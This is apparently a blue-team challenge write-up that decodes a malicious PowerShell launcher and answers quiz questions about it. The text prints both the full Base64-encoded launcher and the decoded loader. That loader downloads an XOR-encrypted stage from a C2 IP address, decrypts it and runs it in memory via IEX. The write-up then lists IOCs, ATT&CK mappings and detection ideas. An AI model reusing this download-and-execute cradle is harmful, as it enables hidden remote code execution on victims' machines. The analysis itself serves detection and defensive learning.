HTB Sherlock: PowerShell_Script
Scenario
You’ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!
Connect to the VM via RDP from pwnbox:
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xfreerdp /v:<ipaddress> /u:letsdefend /p:'' /cert:ignore /dynamic-resolution
The challenge file is located at C:\Users\LetsDefend\Desktop\ChallengeFile\script.ps1. Opened the file, and there is a long string after a PowerShell launcher.
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powershell.exe -NoP -sta -NonI -W Hidden -Enc
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVABlAE0ALgBOAEUAVAAuAFcAZQBiAEMAbABpAEUATgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAVwBDAC4ASABlAEEARABlAFIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBjAC4AUAByAG8AeABZACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAVAAuAFcARQBCAFIAZQBRAFUARQBzAHQAXQA6ADoARABFAEYAQQB1AEwAdABXAGUAYgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBPAHgAWQAuAEMAcgBFAGQAZQBuAFQAaQBhAGwAUwAgAD0AIABbAFMAeQBzAFQAZQBtAC4ATgBFAHQALgBDAFIAZQBkAGUATgBUAEkAQQBsAEMAQQBjAEgARQBdADoAOgBEAGUARgBBAFUATABUAE4AZQB0AFcATwByAEsAQwByAGUAZABFAE4AVABpAEEAbABzADsAJABLAD0AJwBJAE0ALQBTACYAZgBBADkAWAB1AHsAWwApAHwAdwBkAFcASgBoAEMAKwAhAE4AfgB2AHEAXwAxADIATAB0AHkAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABCAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAYwAuAEQATwB3AE4ATABPAGEARABTAHQAcgBpAE4AZwAoACIAaAB0AHQAcAA6AC8ALwA5ADgALgAxADAAMwAuADEAMAAzAC4AMQA3ADAAOgA3ADQANAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgApACkAKQB8ACUAewAkAF8ALQBCAFgAbwBSACQASwBbACQASQArACsAJQAkAGsALgBMAEUAbgBHAFQASABdAH0AOwBJAEUAWAAgACgAJABCAC0AagBPAEkAbgAnACcAKQA=
Artifacts
| Artifact | Type | Tool |
|---|---|---|
script.ps1 | PowerShell launcher with Base64 encoded command | CyberChef |
Decoding the payload
Then I opened CyberChef, here is the recipe that I used:
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From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')
Since the output from From_Base64 alone is a bit weird (there is a null byte between every character), I added the text decoding.
For reference:
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-Enc (-EncodedCommand) expects Base64 of a UTF-16LE string
UTF-16LE every ASCII character is stored as 2 bytes: the character + 0x00
"$W" -> 24 00 57 00
Here is the output:
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$WC=New-ObjEcT SySTeM.NET.WebCliENt; # init webclient
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; # user agent variable
$WC.HeADeRS.ADd('User-Agent',$u); # setting user agent
$Wc.ProxY = [System.NeT.WEBReQUEst]::DEFAuLtWebProXy;
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls; # using default proxy
$K='IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty';
$i=0;
[CHaR[]]$B=([cHaR[]]($wc.DOwNLOaDStriNg("http://98.103.103.170:7443/index.asp")))|%{$_-BXoR$K[$I++%$k.LEnGTH]};
IEX ($B-jOIn'')
Seems like a script to do a web request. I can see the script setting up the user agent with Mozilla, along with the default web proxy, then followed by the $K variable init. The result of the string downloaded from the IP is piped and processed with the $K variable, then executed with IEX.
The random casing (New-ObjEcT, SySTeM.NET) is just obfuscation, PowerShell is case-insensitive. That’s also why $I and $k in the loop are the same variables as $i and $K.
The pipe
I wasn’t sure about the piping, so I checked it part by part, starting from the inside:
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$wc.DownloadString("http://...") download the payload from C2 as one string
[char[]](...) split the string into a char array
| %{ ... } % = ForEach-Object, loop each char, $_ = current char
$K[$i++ % $K.Length] pick the key char, % (modulo) wraps the index back to 0
when it reaches the end of the key (32 chars)
$_ -bxor ... XOR the current char with the key char
[char[]]$B = ... cast the XOR results back to chars, store to $B
$B -join '' glue the chars back into one string
IEX (...) Invoke-Expression, run the string as PowerShell code
The downloaded payload is XOR encrypted, with $K as a repeating key. The script decrypts it and runs it in memory without writing anything to disk. The real payload only comes from the server at runtime, so we can’t see it from this script.
Tasks
1. What encoding is the malicious script using?
I opened the file and saw the long string, my mind immediately went to Base64. The tail confirmed it, the string ends with = padding. The launcher also uses -Enc, which only accepts Base64.
Answer: Base64
2. What parameter in the powershell script makes it so that the powershell window is hidden when executed?
The launcher has -W Hidden (-WindowStyle Hidden), so the window is hidden when executed.
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powershell.exe -NoP -sta -NonI -W Hidden -Enc ...
Reference for the other flags:
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-NoP -NoProfile don't load the user's PowerShell profile
-sta -Sta single-threaded apartment
-NonI -NonInteractive no interactive prompt to the user
-W -WindowStyle Hidden = no visible window
-Enc -EncodedCommand Base64 (UTF-16LE) command
Answer: -W Hidden
3. What parameter in the Powershell script prevents the user from closing the process?
I was confused at first. “Prevents the user from closing” gave me the impression of something that stops the user from killing the process, and none of the flags does that. Then I checked the hint:
This parameter in PowerShell means that the commands or scripts will run without needing any input or response from a person.
So the hint points to non-interactive mode, which is the -NonI flag. I think the question is a bit misleading, -NonInteractive doesn’t stop the user from killing the process. It only makes PowerShell run without prompting the user.
Answer: -NonI
4. What line of code allows the script to interact with websites and retrieve information from them?
From the decoded payload, the first statement creates a WebClient object, which is later used for DownloadString.
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$WC=New-ObjEcT SySTeM.NET.WebCliENt
The decoded script uses random casing, but the answer is accepted in normal casing.
Answer: $WC=New-Object System.Net.WebClient
5. What is the user agent string that is being spoofed in the malicious script?
$u is set and added as the User-Agent header, which makes the request look like it came from Internet Explorer 11 on Windows 7.
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$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$WC.HeADeRS.ADd('User-Agent',$u);
Answer: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
6. What line of code is used to set the proxy credentials for authentication in the script?
The script uses the system’s default proxy, then authenticates to it with the logged-in user’s credentials (DefaultNetworkCredentials), so the download still works behind a corporate proxy.
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$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls
Answer: $wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls
7. When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?
The argument to DownloadString:
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$wc.DOwNLOaDStriNg("http://98.103.103.170:7443/index.asp")
Answer: http://98.103.103.170:7443/index.asp
Indicators
| Indicator | Type | Context |
|---|---|---|
hxxp://98.103.103[.]170:7443/index.asp | URL | Payload download (stage 2) |
98.103.103[.]170 | IPv4 | C2 server |
7443/tcp | Port | C2 port (HTTP on non-standard port) |
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko | User-Agent | Spoofed IE11 UA |
IM-S&fA9Xu{[)\|wdWJhC+!N~vq_12Lty | XOR key | Decodes the downloaded payload |
powershell.exe -NoP -sta -NonI -W Hidden -Enc | Command line | Launcher flags |
ATT&CK mapping
| Technique | ID | Evidence |
|---|---|---|
| Command and Scripting Interpreter: PowerShell | T1059.001 | powershell.exe ... -Enc, IEX |
| Obfuscated Files or Information | T1027 | Base64 -Enc command, random casing, XOR encoded stage 2 |
| Deobfuscate/Decode Files or Information | T1140 | -BXoR with $K before IEX |
| Hide Artifacts: Hidden Window | T1564.003 | -W Hidden |
| Application Layer Protocol: Web Protocols | T1071.001 | HTTP to 98.103.103.170:7443 with spoofed UA |
| Ingress Tool Transfer | T1105 | DownloadString(...) fetches the next stage |
Detection opportunities
- Process creation (Sysmon EID 1 / Security 4688):
powershell.exewith-Enc/-EncodedCommandcombined with-W Hiddenand-NonI. - Script Block Logging (EID 4104): logs the decoded script, so
DownloadString,-bxorandIEXshow up in plain text even though the command line is encoded. - Network:
powershell.exemaking HTTP connections to a raw IP on a non-standard port (7443), with an IE11 user agent coming from a process that isn’t IE.
Lessons
-Enc= Base64 of UTF-16LE, decode withFrom Base64+Decode text (UTF-16LE)to get rid of the null bytes.- Check the hint when the question wording feels off. “Prevents the user from closing” was asking for
-NonInteractive. - Decoding stage 1 only gives you the loader. The real payload is XOR encoded and comes from the C2 at runtime, so the URL and key are the important IOCs.